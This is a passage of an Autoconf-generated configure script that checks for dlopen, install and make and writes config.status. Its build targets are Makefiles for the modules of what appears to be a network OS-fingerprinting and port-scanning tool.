"$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_lib_dl_dlopen=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_lib_dl_dlopen=no fi rm -f conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6 if test $ac_cv_lib_dl_dlopen = yes; then cat >>confdefs.h <<_ACEOF #define HAVE_LIBDL 1 _ACEOF LIBS="-ldl $LIBS" else DL_FAIL=1 fi else echo "$as_me:$LINENO: checking for dlopen in -lc" >&5 echo $ECHO_N "checking for dlopen in -lc... $ECHO_C" >&6 if test "${ac_cv_lib_c_dlopen+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lc $LIBS" cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ /* Override any gcc2 internal prototype to avoid an error. */ #ifdef __cplusplus extern "C" #endif /* We use char because int might match the return type of a gcc2 builtin and then its argument prototype would still apply. */ char dlopen (); int main () { dlopen (); ; return 0; } _ACEOF rm -f conftest.$ac_objext conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_lib_c_dlopen=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_lib_c_dlopen=no fi rm -f conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi echo "$as_me:$LINENO: result: $ac_cv_lib_c_dlopen" >&5 echo "${ECHO_T}$ac_cv_lib_c_dlopen" >&6 if test $ac_cv_lib_c_dlopen = yes; then cat >>confdefs.h <<_ACEOF #define HAVE_LIBC 1 _ACEOF LIBS="-lc $LIBS" else DL_FAIL=1 fi fi fi if test "$DL_FAIL" = 1; then { echo "$as_me:$LINENO: WARNING: \"Dynamically loadable tests will not be supported\"" >&5 echo "$as_me: WARNING: \"Dynamically loadable tests will not be supported\"" >&2;}; cat >>confdefs.h <<\_ACEOF #define STATIC_TESTS 1 _ACEOF else DYNFLAGS="-fPIC -shared" fi # Find a good install program. We prefer a C program (faster), # so one script is as good as another. But avoid the broken or # incompatible versions: # SysV /etc/install, /usr/sbin/install # SunOS /usr/etc/install # IRIX /sbin/install # AIX /bin/install # AmigaOS /C/install, which installs bootblocks on floppy discs # AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag # AFS /usr/afsws/bin/install, which mishandles nonexistent args # SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" # OS/2's system install, which has a completely different semantic # ./install, which can be erroneously created by make from ./install.sh. echo "$as_me:$LINENO: checking for a BSD-compatible install" >&5 echo $ECHO_N "checking for a BSD-compatible install... $ECHO_C" >&6 if test -z "$INSTALL"; then if test "${ac_cv_path_install+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. # Account for people who put trailing slashes in PATH elements. case $as_dir/ in ./ | .// | /cC/* | \ /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \ ?:\\/os2\\/install\\/* | ?:\\/OS2\\/INSTALL\\/* | \ /usr/ucb/* ) ;; *) # OSF1 and SCO ODT 3.0 have their own names for install. # Don't use installbsd from OSF since it installs stuff as root # by default. for ac_prog in ginstall scoinst install; do for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_prog$ac_exec_ext"; then if test $ac_prog = install && grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then # AIX install. It has an incompatible calling convention. : elif test $ac_prog = install && grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then # program-specific install script used by HP pwplus--don't use. : else ac_cv_path_install="$as_dir/$ac_prog$ac_exec_ext -c" break 3 fi fi done done ;; esac done fi if test "${ac_cv_path_install+set}" = set; then INSTALL=$ac_cv_path_install else # As a last resort, use the slow shell script. We don't cache a # path for INSTALL within a source directory, because that will # break other packages using the cache if that directory is # removed, or if the path is relative. INSTALL=$ac_install_sh fi fi echo "$as_me:$LINENO: result: $INSTALL" >&5 echo "${ECHO_T}$INSTALL" >&6 # Use test -z because SunOS4 sh mishandles braces in ${var-val}. # It thinks the first close brace ends the variable substitution. test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}' test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' echo "$as_me:$LINENO: checking whether ${MAKE-make} sets \$(MAKE)" >&5 echo $ECHO_N "checking whether ${MAKE-make} sets \$(MAKE)... $ECHO_C" >&6 set dummy ${MAKE-make}; ac_make=`echo "$2" | sed 'y,:./+-,___p_,'` if eval "test \"\${ac_cv_prog_make_${ac_make}_set+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.make <<\_ACEOF all: @echo 'ac_maketemp="$(MAKE)"' _ACEOF # GNU make sometimes prints "make[1]: Entering...", which would confuse us. eval `${MAKE-make} -f conftest.make 2>/dev/null | grep temp=` if test -n "$ac_maketemp"; then eval ac_cv_prog_make_${ac_make}_set=yes else eval ac_cv_prog_make_${ac_make}_set=no fi rm -f conftest.make fi if eval "test \"`echo '$ac_cv_prog_make_'${ac_make}_set`\" = yes"; then echo "$as_me:$LINENO: result: yes" >&5 echo "${ECHO_T}yes" >&6 SET_MAKE= else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 SET_MAKE="MAKE=${MAKE-make}" fi #subdirs="libs-external/USI++/src" subdirs="$subdirs "libs-external/USI++/src"" ac_config_files="$ac_config_files Makefile src/defines.h src/Makefile src/xplib/Makefile src/xpmodules/Makefile src/xpmodules/alive_probe/Makefile src/xpmodules/alive_probe/ttl_calc/Makefile src/xpmodules/alive_probe/portscanner/Makefile src/xpmodules/os_probe/Makefile src/xpmodules/os_probe/icmp_echo_id/Makefile src/xpmodules/os_probe/icmp_timestamp/Makefile src/xpmodules/os_probe/icmp_addrmask/Makefile src/xpmodules/os_probe/icmp_inforeq/Makefile src/xpmodules/os_probe/icmp_port_unreach/Makefile src/xpmodules/os_probe/tcp_handshake/Makefile src/xpmodules/os_probe/tcp_rst/Makefile src/xpmodules/os_probe/smb/Makefile src/xpmodules/os_probe/snmp/Makefile" cat >confcache <<\_ACEOF # This file is a shell script that caches the results of configure # tests run on this system so they can be shared between configure # scripts and configure runs, see configure's option --config-cache. # It is not useful on other systems. If it contains results you don't # want to keep, you may remove or edit it. # # config.status only pays attention to the cache file if you give it # the --recheck option to rerun configure. # # `ac_cv_env_foo' variables (set or unset) will be overridden when # loading this file, other *unset* `ac_cv_foo' will be assigned the # following values. _ACEOF # The following way of writing the cache mishandles newlines in values, # but we know of no workaround that is simple, portable, and efficient. # So, don't put newlines in cache variables' values. # Ultrix sh set writes to stderr and can't be redirected directly, # and sets the high bit in the cache file unless we assign to the vars. { (set) 2>&1 | case `(ac_space=' '; set | grep ac_space) 2>&1` in *ac_space=\ *) # `set' does not quote correctly, so add quotes (double-quote # substitution turns \\\\ into \\, and sed turns \\ into \). sed -n \ "s/'/'\\\\''/g; s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p" ;; *) # `set' quotes correctly as required by POSIX, so do not add quotes. sed -n \ "s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1=\\2/p" ;; esac; } | sed ' t clear : clear s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/ t end /^ac_cv_env/!s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/ : end' >>confcache if diff $cache_file confcache >/dev/null 2>&1; then :; else if test -w $cache_file; then test "x$cache_file" != "x/dev/null" && echo "updating cache $cache_file" cat confcache >$cache_file else echo "not updating unwritable cache $cache_file" fi fi rm -f confcache test "x$prefix" = xNONE && prefix=$ac_default_prefix # Let make expand exec_prefix. test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' # VPATH may cause trouble with some makes, so we remove $(srcdir), # ${srcdir} and @srcdir@ from VPATH if srcdir is ".", strip leading and # trailing colons and then remove the whole line if VPATH becomes empty # (actually we leave an empty line to preserve line numbers). if test "x$srcdir" = x.; then ac_vpsub='/^[ ]*VPATH[ ]*=/{ s/:*\$(srcdir):*/:/; s/:*\${srcdir}:*/:/; s/:*@srcdir@:*/:/; s/^\([^=]*=[ ]*\):*/\1/; s/:*$//; s/^[^=]*=[ ]*$//; }' fi DEFS=-DHAVE_CONFIG_H ac_libobjs= ac_ltlibobjs= for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue # 1. Remove the extension, and $U if already installed. ac_i=`echo "$ac_i" | sed 's/\$U\././;s/\.o$//;s/\.obj$//'` # 2. Add them. ac_libobjs="$ac_libobjs $ac_i\$U.$ac_objext" ac_ltlibobjs="$ac_ltlibobjs $ac_i"'$U.lo' done LIBOBJS=$ac_libobjs LTLIBOBJS=$ac_ltlibobjs : ${CONFIG_STATUS=./config.status} ac_clean_files_save=$ac_clean_files ac_clean_files="$ac_clean_files $CONFIG_STATUS" { echo "$as_me:$LINENO: creating $CONFIG_STATUS" >&5 echo "$as_me: creating $CONFIG_STATUS" >&6;} cat >$CONFIG_STATUS <<_ACEOF #! $SHELL # Generated by $as_me. # Run this file to recreate the current configuration. # Compiler output produced by configure, useful for debugging # configure, is in config.log if it exists. debug=false ac_cs_recheck=false ac_cs_silent=false SHELL=\${CONFIG_SHELL-$SHELL} _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF ## --------------------- ## ## M4sh Initialization. ## ## --------------------- ## # Be Bourne compatible if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then emulate sh NULLCMD=: # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which # is contrary to our usage. Disable this feature. alias -g '${1+"$@"}'='"$@"' elif test -n "${BASH_VERSION+set}" && (set -o posix) >/dev/null 2>&1; then set -o posix fi DUALCASE=1; export DUALCASE # for MKS sh # Support unset when possible. if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then as_unset=unset else as_unset=false fi # Work around bugs in pre-3.0 UWIN ksh. $as_unset ENV MAIL MAILPATH PS1='$ ' PS2='> ' PS4='+ ' # NLS nuisances. for as_var in \ LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \ LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \ LC_TELEPHONE LC_TIME do if (set +x; test -z "`(eval $as_var=C; export $as_var) 2>&1`"); then eval $as_var=C; export $as_var else $as_unset $as_var fi done # Required to use basename. if expr a : '\(a\)' >/dev/null 2>&1; then as_expr=expr else as_expr=false fi if (basename /) >/dev/null 2>&1 && test "X`basename / 2>&1`" = "X/"; then as_basename=basename else as_basename=false fi # Name of the executable. as_me=`$as_basename "$0" || $as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ X"$0" : 'X\(//\)$' \| \ X"$0" : 'X\(/\)$' \| \ . : '\(.\)' 2>/dev/null || echo X/"$0" | sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/; q; } /^X\/\(\/\/\)$/{ s//\1/; q; } /^X\/\(\/\).*/{ s//\1/; q; } s/.*/./; q'` # PATH needs CR, and LINENO needs CR and PATH. # Avoid depending upon Character Ranges. as_cr_letters='abcdefghijklmnopqrstuvwxyz' as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' as_cr_Letters=$as_cr_letters$as_cr_LETTERS as_cr_digits='0123456789' as_cr_alnum=$as_cr_Letters$as_cr_digits # The user is always right. if test "${PATH_SEPARATOR+set}" != set; then echo "#! /bin/sh" >conf$$.sh echo "exit 0" >>conf$$.sh chmod +x conf$$.sh if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then PATH_SEPARATOR=';' else PATH_SEPARATOR=: fi rm -f conf$$.sh fi as_lineno_1=$LINENO as_lineno_2=$LINENO as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null` test "x$as_lineno_1" != "x$as_lineno_2" && test "x$as_lineno_3" = "x$as_lineno_2" || { # Find who we are. Look in the path if we contain no path at all # relative or not. case $0 in *[\\/]* ) as_myself=$0 ;; *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break done ;; esac # We did not find ourselves, most probably we were run as `sh COMMAND' # in which case we are not to be found in the path. if test "x$as_myself" = x; then as_myself=$0 fi if test ! -f "$as_myself"; then { { echo "$as_me:$LINENO: error: cannot find myself; rerun with an absolute path" >&5 echo "$as_me: error: cannot find myself; rerun with an absolute path" >&2;} { (exit 1); exit 1; }; } fi case $CONFIG_SHELL in '') as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for as_base in sh bash ksh sh5; do case $as_dir in /*) if ("$as_dir/$as_base" -c ' as_lineno_1=$LINENO as_lineno_2=$LINENO as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null` test "x$as_lineno_1" != "x$as_lineno_2" && test "x$as_lineno_3" = "x$as_lineno_2" ') 2>/dev/null; then $as_unset BASH_ENV || test "${BASH_ENV+set}" != set || { BASH_ENV=; export BASH_ENV; } $as_unset ENV || test "${ENV+set}" != set || { ENV=; export ENV; } CONFIG_SHELL=$as_dir/$as_base export CONFIG_SHELL exec "$CONFIG_SHELL" "$0" ${1+"$@"} fi;; esac done done ;; esac # Create $as_me.lineno as a copy of $as_myself, but with $LINENO # uniformly replaced by the line number. The first 'sed' inserts a # line-number line before each line; the second 'sed' does the real # work. The second script uses 'N' to pair each line-number line # with the numbered line, and appends trailing '-' during # substitution so that $LINENO is not a special case at line end. # (Raja R Harinath suggested sed '=', and Paul Eggert wrote the # second 'sed' script. Blame Lee E. McMahon for sed's syntax. :-) sed '=' <$as_myself | sed ' N s,$,-, : loop s,^\(['$as_cr_digits']*\)\(.*\)[$]LINENO\([^'$as_cr_alnum'_]\),\1\2\1\3, t loop s,-$,, s,^['$as_cr_digits']*\n,, ' >$as_me.lineno && chmod +x $as_me.lineno || { { echo "$as_me:$LINENO: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&5 echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2;} { (exit 1); exit 1; }; } # Don't try to exec as it changes $[0], causing all sort of problems # (the dirname of $[0] is not the place where we might find the # original and so on. Autoconf is especially sensible to this). . ./$as_me.lineno # Exit status is that of the last command. exit } case `echo "testing\c"; echo 1,2,3`,`echo -n testing; echo 1,2,3` in *c*,-n*) ECHO_N= ECHO_C=' ' ECHO_T=' ' ;; *c*,* ) ECHO_N=-n ECHO_C= ECHO_T= ;; *) ECHO_N= ECHO_C='\c' ECHO_T= ;; esac if expr a : '\(a\)' >/dev/null 2>&1; then as_expr=expr else as_expr=false fi rm -f conf$$ conf$$.exe conf$$.file echo >conf$$.file if ln -s conf$$.file conf$$ 2>/dev/null; then # We could just check for DJGPP; but this test a) works b) is more generic # and c) will remain valid once DJGPP supports symlinks (DJGPP 2.04). if test -f conf$$.exe; then # Don't use ln at all; we don't have any links as_ln_s='cp -p' else as_ln_s='ln -s' fi elif ln conf$$.file conf$$ 2>/dev/null; then as_ln_s=ln else as_ln_s='cp -p' fi rm -f conf$$ conf$$.exe conf$$.file if mkdir -p . 2>/dev/null; then as_mkdir_p=: else test -d ./-p && rmdir ./-p as_mkdir_p=false fi as_executable_p="test -f" # Sed expression to map a string onto a valid CPP name. as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" # Sed expression to map a string onto a valid variable name. as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" # IFS # We need space, tab and new line, in precisely that order. as_nl=' ' IFS=" $as_nl" # CDPATH. $as_unset CDPATH exec 6>&1 # Open the log real soon, to keep \$[0] and so on meaningful, and to # report actual input values of CONFIG_FILES etc. instead of their # values after options handling. Logging --version etc. is OK. exec 5>>config.log { echo sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX ## Running $as_me. ## _ASBOX } >&5 cat >&5 <<_CSEOF This file was extended by $as_me, which was generated by GNU Autoconf 2.59. Invocation command line was CONFIG_FILES = $CONFIG_FILES CONFIG_HEADERS = $CONFIG_HEADERS CONFIG_LINKS = $CONFIG_LINKS CONFIG_COMMANDS = $CONFIG_COMMANDS $ $0 $@ _CSEOF echo "on `(hostname || uname -n) 2>/dev/null | sed 1q`" >&5 echo >&5 _ACEOF # Files that config.status was made for. if test -n "$ac_config_files"; then echo "config_files=\"$ac_config_files\"" >>$CONFIG_STATUS fi if test -n "$ac_config_headers"; then echo "config_headers=\"$ac_config_headers\"" >>$CONFIG_STATUS fi if test -n "$ac_config_links"; then echo "config_links=\"$ac_config_links\"" >>$CONFIG_STATUS fi if test -n "$ac_config_commands"; then echo "config_commands=\"$ac_config_commands\"" >>$CONFIG_STATUS fi cat >>$CONFIG_STATUS <<\_ACEOF ac_cs_usage="\ \`$as_me' instantiates files from templates according to the current configuration. Usage: $0 [OPTIONS] [FILE]... -h, --help print this help, then exit -V, --version print version number, then exit -q, --quiet do not print progress messages -d, --debug don't remove temporary files --recheck update $as_me by reconfiguring in the same conditions --file=FILE[:TEMPLATE] instantiate the configuration file FILE --header=FILE[:TEMPLATE] instantiate the configuration header FILE Configuration files: $config_files Configuration headers: $config_headers Report bugs to ." _ACEOF cat >>$CONFIG_STATUS <<_ACEOF ac_cs_version="\\ config.status configured by $0, generated by GNU Autoconf 2.59, with options \\"`echo "$ac_configure_args" | sed 's/[\\""\`\$]/\\\\&/g'`\\" Copyright (C) 2003 Free Software Foundation, Inc. This config.status script is free software; the Free Software Foundation gives unlimited permission to copy, distribute and modify it." srcdir=$srcdir INSTALL="$INSTALL" _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF # If no file are specified by the user, then we need to provide default # value. By we need to know if files were specified by the user. ac_need_defaults=: while test $# != 0 do case $1 in --*=*) ac_option=`expr "x$1" : 'x\([^=]*\)='` ac_optarg=`expr "x$1" : 'x[^=]*=\(.*\)'` ac_shift=: ;; -*) ac_option=$1 ac_optarg=$2 ac_shift=shift ;; *) # This is not an option, so the user has probably given explicit # arguments. ac_option=$1 ac_need_defaults=false;; esac case $ac_option in # Handling of the options. _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) ac_cs_recheck=: ;; --version | --vers* | -V ) echo "$ac_cs_version"; exit 0 ;; --he | --h) # Conflict between --help and --header { { echo "$as_me:$LINENO: error: ambiguous option: $1 Try \`$0 --help' for more information." >&5 echo "$as_me: error: ambiguous option: $1 Try \`$0 --help' for more information." >&2;} { (exit 1); exit 1; }; };; --help | --hel | -h ) echo "$ac_cs_usage"; exit 0 ;; --debug | --d* | -d ) debug=: ;; --file | --fil | --fi | --f ) $ac_shift CONFIG_FILES="$CONFIG_FILES $ac_optarg" ac_need_defaults=false;; --header | --heade | --head | --hea ) $ac_shift CONFIG_HEADERS="$CONFIG_HEADERS $ac_optarg" ac_need_defaults=false;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil | --si | --s) ac_cs_silent=: ;; # This is an error. -*) { { echo "$as_me:$LINENO: error: unrecognized option: $1 Try \`$0 --help' for more information." >&5 echo "$as_me: error: unrecognized option: $1 Try \`$0 --help' for more information." >&2;} { (exit 1); exit 1; }; } ;; *) ac_config_targets="$ac_config_targets $1" ;; esac shift done ac_configure_extra_args= if $ac_cs_silent; then exec 6>/dev/null ac_configure_extra_args="$ac_configure_extra_args --silent" fi _ACEOF cat >>$CONFIG_STATUS <<_ACEOF if \$ac_cs_recheck; then echo "running $SHELL $0 " $ac_configure_args \$ac_configure_extra_args " --no-create --no-recursion" >&6 exec $SHELL $0 $ac_configure_args \$ac_configure_extra_args --no-create --no-recursion fi _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF for ac_config_target in $ac_config_targets do case "$ac_config_target" in # Handling of arguments. "Makefile" ) CONFIG_FILES="$CONFIG_FILES Makefile" ;; "src/defines.h" ) CONFIG_FILES="$CONFIG_FILES src/defines.h" ;; "src/Makefile" ) CONFIG_FILES="$CONFIG_FILES src/Makefile" ;; "src/xplib/Makefile" ) CONFIG_FILES="$CONFIG_FILES src/xplib/Makefile" ;; "src/xpmodules/Makefile" ) CONFIG_FILES="$CONFIG_FILES src/xpmodules/Makefile" ;; "src/xpmodules/alive_probe/Makefile" ) CONFIG_FILES="$CONFIG_FILES src/xpmodules/alive_probe/Makefile" ;; "src/xpmodules/alive_probe/ttl_calc/Makefile" ) CONFIG_FILES="$CONFIG_FILES src/xpmodules/alive_probe/ttl_calc/Makefile" ;; "src/xpmodules/alive_probe/portscanner/Makefile" ) CONFIG_FILES="$CONFIG_FILES src/xpmodules/alive_probe/portscanner/Makefile" ;; "src/xpmodules/os_probe/Makefile" ) CONFIG_FILES="$CONFIG_FILES src/xpmodules/os_probe/Makefile" ;; "src/xpmodules/os_probe/icmp_echo_id/Makefile" ) CONFIG_FILES="$CONFIG_FILES src/xpmodules/os_probe/icmp_echo_id/Makefile" ;; "src/xpmodules/os_probe/icmp_timestamp/Makefile" ) CONFIG_FILES="$CONFIG_FILES src/xpmodules/os_probe/icmp_timestamp/Makefile" ;; "src/xpmodules/os_probe/icmp_addrmask/Makefile" ) CONFIG_FILES="$CONFIG_FILES src/xpmodules/os_probe/icmp_addrmask/Makefile" ;; "src/xpmodules/os_probe/icmp_inforeq/Makefile" ) CONFIG_FILES="$CONFIG_FILES src/xpmodules/os_probe/icmp_inforeq/Makefile" ;; "src/xpmodules/os_probe/icmp_port_unreach/Makefile" ) CONFIG_FILES="$CONFIG_FILES src/xpmodules/os_probe/icmp_port_unreach/Makefile" ;; "src/xpmodules/os_probe/tcp_handshake/Makefile" ) CONFIG_FILES="$CONFIG_FILES src/xpmodules/os_probe/tcp_handshake/Makefile" ;; "src/xpmodules/os_probe/tcp_rst/Makefile" ) CONFIG_FILES="$CONFIG_FILES src/xpmodules/os_probe/tcp_rst/Makefile" ;; "src/xpmodules/os_probe/smb/Makefile" ) CONFIG_FILES="$CONFIG_FILES src/xpmodules/os_probe/smb/Makefile" ;; "src/xpmodules/os_probe/snmp/Makefile" ) CONFIG_FILES="$CONFIG_FILES src/xpmodules/os_probe/smb/Makefile" ;; "src/config.h" ) CONFIG_HEADERS="$CONFIG_HEADERS src/config.h" ;; *) { { echo "$as_me:$LINENO: error: invalid argument: $ac_config_target" >&5 echo "$as_me: error: invalid argument: $ac_config_target" >&2;} { (exit 1); exit 1; }; };; esac done # If the user did not use the arguments to specify the items to instantiate, # then the envvar interface is used. Set only those that are not. # We use the long form for the default assignment because of an extremely # bizarre bug on SunOS 4.1.3. if $ac_need_defaults; then test "${CONFIG_FILES+set}" = set || CONFIG_FILES=$config_files test "${CONFIG_HEADERS+set}" = set || CONFIG_HEADERS=$config_headers fi # Have a temporary directory for convenience. Make it in the build tree # simply because there is no reason to put it here, and in addition, # creating and moving files from /tmp can sometimes cause problems. # Create a temporary directory, and hook for its removal unless debugging. $debug || { trap 'exit_status=$?; rm -rf $tmp && exit $exit_status' 0 trap '{ (exit 1); exit 1; }' 1 2 13 15 } # Create a (secure) tmp directory for tmp files. { tmp=`(umask 077 && mktemp -d -q "./confstatXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" } || { tmp=./confstat$$-$RANDOM (umask 077 && mkdir $tmp) } || { echo "$me: cannot create a temporary directory in ." >&2 { (exit 1); exit 1; } } _ACEOF cat >>$CONFIG_STATUS <<_ACEOF # # CONFIG_FILES section. # # No need to generate the scripts if there are no CONFIG_FILES. # This happens for instance when ./config.status config.h if test -n "\$CONFIG_FILES"; then # Protect against being on the right side of a sed subst in config.status. sed 's/,@/@@/; s/@,/@@/; s/,;t t\$/@;t t/; /@;t t\$/s/[\\\\&,]/\\\\&/g; s/@@/,@/; s/@@/@,/; s/@;t t\$/,;t t/' >\$tmp/subs.sed <<\\CEOF s,@SHELL@,$SHELL,;t t s,@PATH_SEPARATOR@,$PATH_SEPARATOR,;t t s,@PACKAGE_NAME@,$PACKAGE_NAME,;t t s,@PACKAGE_TARNAME@,$PACKAGE_TARNAME,;t t s,@PACKAGE_VERSION@,$PACKAGE_VERSION,;t t s,@PACKAGE_STRING@,$PACKAGE_STRING,;t t s,@PACKAGE_BUGREPORT@,$PACKAGE_BUGREPORT,;t t s,@exec_prefix@,$exec_prefix,;t t s,@prefix@,$prefix,;t t s,@program_transform_name@,$program_transform_name,;t t s,@bindir@,$bindir,;t t s,@sbindir@,$sbindir,;t t s,@libexecdir@,$libexecdir,;t t s,@datadir@,$datadir,;t t s,@sysconfdir@,$sysconfdir,;t t s,@sharedstatedir@,$sharedstatedir,;t t s,@localstatedir@,$localstatedir,;t t s,@libdir@,$libdir,;t t s,@includedir@,$includedir,;t t s,@oldincludedir@,$oldincludedir,;t t s,@infodir@,$infodir,;t t s,@mandir@,$mandir,;t t s,@build_alias@,$build_alias,;t t s,@host_alias@,$host_alias,;t t s,@target_alias@,$target_alias,;t t s,@DEFS@,$DEFS,;t t s,@ECHO_C@,$ECHO_C,;t t s,@ECHO_N@,$ECHO_N,;t t s,@ECHO_T@,$ECHO_T,;t t s,@LIBS@,$LIBS,;t t s,@PACKAGE@,$PACKAGE,;t t s,@VERSION@,$VERSION,;t t s,@CFGDIR@,$CFGDIR,;t t s,@CC@,$CC,;t t s,@CFLAGS@,$CFLAGS,;t t s,@LDFLAGS@,$LDFLAGS,;t t s,@CPPFLAGS@,$CPPFLAGS,;t t s,@ac_ct_CC@,$ac_ct_CC,;t t s,@EXEEXT@,$EXEEXT,;t t s,@OBJEXT@,$OBJEXT,;t t s,@CXX@,$CXX,;t t s,@CXXFLAGS@,$CXXFLAGS,;t t s,@ac_ct_CXX@,$ac_ct_CXX,;t t s,@RANLIB@,$RANLIB,;t t s,@ac_ct_RANLIB@,$ac_ct_RANLIB,;t t s,@SOURCES@,$SOURCES,;t t s,@HEADERS@,$HEADERS,;t t s,@build@,$build,;t t s,@build_cpu@,$build_cpu,;t t s,@build_vendor@,$build_vendor,;t t s,@build_os@,$build_os,;t t s,@host@,$host,;t t s,@host_cpu@,$host_cpu,;t t s,@host_vendor@,$host_vendor,;t t s,@host_os@,$host_os,;t t s,@CXXCPP@,$CXXCPP,;t t s,@EGREP@,$EGREP,;t t s,@DYNFLAGS@,$DYNFLAGS,;t t s,@INSTALL_PROGRAM@,$INSTALL_PROGRAM,;t t s,@INSTALL_SCRIPT@,$INSTALL_SCRIPT,;t t s,@INSTALL_DATA@,$INSTALL_DATA,;t t s,@SET_MAKE@,$SET_MAKE,;t t s,@subdirs@,$subdirs,;t t s,@LIBOBJS@,$LIBOBJS,;t t s,@LTLIBOBJS@,$LTLIBOBJS,;t t CEOF _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF # Split the substitutions into bite-sized pieces for seds with # small command number limits, like on Digital OSF/1 and HP-UX. ac_max_sed_lines=48 ac_sed_frag=1 # Number of current file. ac_beg=1 # First line for current file. ac_end=$ac_max_sed_lines # Line after last line for current file. ac_more_lines=: ac_sed_cmds= while $ac_more_lines; do if test $ac_beg -gt 1; then sed "1,${ac_beg}d; ${ac_end}q" $tmp/subs.sed >$tmp/subs.frag else sed "${ac_end}q" $tmp/subs.sed >$tmp/subs.frag fi if test ! -s $tmp/subs.frag; then ac_more_lines=false else # The purpose of the label and of the branching condition is to # speed up the sed processing (if there are no `@' at all, there # is no need to browse any of the substitutions). # These are the two extra sed commands mentioned above. (echo ':t /@[a-zA-Z_][a-zA-Z_0-9]*@/!b' && cat $tmp/subs.frag) >$tmp/subs-$ac_sed_frag.sed if test -z "$ac_sed_cmds"; then ac_sed_cmds="sed -f $tmp/subs-$ac_sed_frag.sed" else ac_sed_cmds="$ac_sed_cmds | sed -f $tmp/subs-$ac_sed_frag.sed" fi ac_sed_frag=`expr $ac_sed_frag + 1` ac_beg=$ac_end ac_end=`expr $ac_end + $ac_max_sed_lines` fi done if test -z "$ac_sed_cmds"; then ac_sed_cmds=cat fi fi # test -n "$CONFIG_FILES" 